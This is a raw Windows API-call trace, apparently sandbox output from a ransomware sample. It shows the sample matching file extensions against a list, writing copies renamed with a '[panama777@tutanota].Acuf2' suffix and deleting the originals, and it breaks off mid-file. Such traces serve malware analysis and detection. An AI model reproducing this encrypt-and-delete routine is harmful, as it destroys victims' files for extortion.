	[0047.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.972] lstrlenW (lpString=".doc") returned 4
	[0047.972] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.972] lstrlenW (lpString=".docx") returned 5
	[0047.972] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0047.972] lstrlenW (lpString=".pdf") returned 4
	[0047.972] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.972] lstrlenW (lpString=".xls") returned 4
	[0047.972] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.972] lstrlenW (lpString=".xlsx") returned 5
	[0047.972] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0047.972] lstrlenW (lpString=".ppt") returned 4
	[0047.972] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.972] lstrlenW (lpString=".zip") returned 4
	[0047.972] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.972] lstrlenW (lpString=".rar") returned 4
	[0047.972] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.972] lstrlenW (lpString=".bz2") returned 4
	[0047.972] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.972] lstrlenW (lpString=".7z") returned 3
	[0047.972] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.972] lstrlenW (lpString=".dbf") returned 4
	[0047.972] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.973] lstrlenW (lpString=".1cd") returned 4
	[0047.973] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.973] lstrlenW (lpString=".jpg") returned 4
	[0047.973] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.973] lstrlenW (lpString=".doc") returned 4
	[0047.973] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0047.973] lstrlenW (lpString=".docx") returned 5
	[0047.973] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0047.973] lstrlenW (lpString=".pdf") returned 4
	[0047.973] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0047.973] lstrlenW (lpString=".xls") returned 4
	[0047.973] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0047.973] lstrlenW (lpString=".xlsx") returned 5
	[0047.973] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0047.973] lstrlenW (lpString=".ppt") returned 4
	[0047.973] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0047.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.973] lstrlenW (lpString=".zip") returned 4
	[0047.973] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0047.973] lstrlenW (lpString=".rar") returned 4
	[0047.973] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0047.973] lstrlenW (lpString=".bz2") returned 4
	[0047.973] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0047.974] lstrlenW (lpString=".7z") returned 3
	[0047.974] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0047.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.974] lstrlenW (lpString=".dbf") returned 4
	[0047.974] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0047.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.974] lstrlenW (lpString=".1cd") returned 4
	[0047.974] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0047.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75
	[0047.974] lstrlenW (lpString=".jpg") returned 4
	[0047.974] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0047.974] lstrcmpiW (lpString1=".jpg", lpString2=".Acuf2") returned 1
	[0047.974] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0047.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.974] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=6406) returned 1
	[0047.974] CloseHandle (hObject=0x160) returned 1
	[0047.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20
	[0047.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.975] lstrlenW (lpString=".doc") returned 4
	[0047.975] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.975] lstrlenW (lpString=".docx") returned 5
	[0047.975] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0047.975] lstrlenW (lpString=".pdf") returned 4
	[0047.975] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.975] lstrlenW (lpString=".xls") returned 4
	[0047.975] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.975] lstrlenW (lpString=".xlsx") returned 5
	[0047.975] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0047.975] lstrlenW (lpString=".ppt") returned 4
	[0047.975] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.975] lstrlenW (lpString=".zip") returned 4
	[0047.975] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.975] lstrlenW (lpString=".rar") returned 4
	[0047.975] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.975] lstrlenW (lpString=".bz2") returned 4
	[0047.975] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.975] lstrlenW (lpString=".7z") returned 3
	[0047.975] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.975] lstrlenW (lpString=".dbf") returned 4
	[0047.976] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0048.688] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.688] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0049.844] GetLastError () returned 0x0
	[0049.844] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0xb20, lpOverlapped=0x0) returned 1
	[0049.989] WriteFile (in: hFile=0x208, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xb30, lpOverlapped=0x0) returned 1
	[0049.990] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0049.990] WriteFile (in: hFile=0x208, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0049.990] SetEndOfFile (hFile=0x208) returned 1
	[0049.990] CloseHandle (hObject=0x208) returned 1
	[0049.990] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0049.990] SetEndOfFile (hFile=0x1e8) returned 1
	[0049.991] CloseHandle (hObject=0x1e8) returned 1
	[0049.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0049.992] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1
	[0049.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.992] lstrlenW (lpString=".doc") returned 4
	[0049.992] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0049.992] lstrlenW (lpString=".docx") returned 5
	[0049.992] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0049.992] lstrlenW (lpString=".pdf") returned 4
	[0049.992] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0049.992] lstrlenW (lpString=".xls") returned 4
	[0049.992] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0049.992] lstrlenW (lpString=".xlsx") returned 5
	[0049.992] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0049.992] lstrlenW (lpString=".ppt") returned 4
	[0049.992] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0049.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.992] lstrlenW (lpString=".zip") returned 4
	[0049.992] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0049.992] lstrlenW (lpString=".rar") returned 4
	[0049.993] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0049.993] lstrlenW (lpString=".bz2") returned 4
	[0049.993] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0049.993] lstrlenW (lpString=".7z") returned 3
	[0049.993] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0049.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.993] lstrlenW (lpString=".dbf") returned 4
	[0049.993] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0049.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.993] lstrlenW (lpString=".1cd") returned 4
	[0049.993] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0049.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.993] lstrlenW (lpString=".jpg") returned 4
	[0049.993] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0049.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.993] lstrlenW (lpString=".doc") returned 4
	[0049.993] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0049.993] lstrlenW (lpString=".docx") returned 5
	[0049.993] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0049.994] lstrlenW (lpString=".pdf") returned 4
	[0049.994] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0049.994] lstrlenW (lpString=".xls") returned 4
	[0049.994] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0049.994] lstrlenW (lpString=".xlsx") returned 5
	[0049.994] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0049.994] lstrlenW (lpString=".ppt") returned 4
	[0049.994] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0049.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.994] lstrlenW (lpString=".zip") returned 4
	[0049.994] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0049.994] lstrlenW (lpString=".rar") returned 4
	[0049.994] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0049.994] lstrlenW (lpString=".bz2") returned 4
	[0049.994] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0049.994] lstrlenW (lpString=".7z") returned 3
	[0049.994] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0049.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.994] lstrlenW (lpString=".dbf") returned 4
	[0049.994] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0049.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.994] lstrlenW (lpString=".1cd") returned 4
	[0049.994] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0049.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0049.994] lstrlenW (lpString=".jpg") returned 4
	[0049.994] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0049.994] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0049.995] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0049.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.519] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=32607) returned 1
	[0050.536] CloseHandle (hObject=0x178) returned 1
	[0050.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20
	[0050.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.537] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.537] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.537] GetLastError () returned 0x0
	[0050.537] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x7f5f, lpOverlapped=0x0) returned 1
	[0050.556] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x7f60, lpOverlapped=0x0) returned 1
	[0050.558] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.558] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0050.558] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.558] CloseHandle (hObject=0x1a4) returned 1
	[0050.558] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.558] SetEndOfFile (hFile=0x178) returned 1
	[0050.559] CloseHandle (hObject=0x178) returned 1
	[0050.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0050.560] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1
	[0050.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.560] lstrlenW (lpString=".doc") returned 4
	[0050.560] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.560] lstrlenW (lpString=".docx") returned 5
	[0050.560] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.560] lstrlenW (lpString=".pdf") returned 4
	[0050.560] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.560] lstrlenW (lpString=".xls") returned 4
	[0050.560] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.560] lstrlenW (lpString=".xlsx") returned 5
	[0050.560] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.560] lstrlenW (lpString=".ppt") returned 4
	[0050.560] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.560] lstrlenW (lpString=".zip") returned 4
	[0050.560] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.560] lstrlenW (lpString=".rar") returned 4
	[0050.560] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.560] lstrlenW (lpString=".bz2") returned 4
	[0050.561] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.561] lstrlenW (lpString=".7z") returned 3
	[0050.561] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.561] lstrlenW (lpString=".dbf") returned 4
	[0050.561] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.561] lstrlenW (lpString=".1cd") returned 4
	[0050.561] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.561] lstrlenW (lpString=".jpg") returned 4
	[0050.561] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.561] lstrlenW (lpString=".doc") returned 4
	[0050.561] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0050.561] lstrlenW (lpString=".docx") returned 5
	[0050.561] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0050.561] lstrlenW (lpString=".pdf") returned 4
	[0050.561] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0050.561] lstrlenW (lpString=".xls") returned 4
	[0050.561] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0050.561] lstrlenW (lpString=".xlsx") returned 5
	[0050.561] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0050.561] lstrlenW (lpString=".ppt") returned 4
	[0050.561] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0050.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.561] lstrlenW (lpString=".zip") returned 4
	[0050.561] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0050.561] lstrlenW (lpString=".rar") returned 4
	[0050.562] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0050.562] lstrlenW (lpString=".bz2") returned 4
	[0050.562] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0050.562] lstrlenW (lpString=".7z") returned 3
	[0050.562] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0050.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.562] lstrlenW (lpString=".dbf") returned 4
	[0050.562] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0050.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.562] lstrlenW (lpString=".1cd") returned 4
	[0050.562] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0050.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75
	[0050.562] lstrlenW (lpString=".jpg") returned 4
	[0050.562] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0050.562] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0050.562] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0050.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.563] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=3957) returned 1
	[0050.563] CloseHandle (hObject=0x178) returned 1
	[0050.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20
	[0050.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0050.563] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
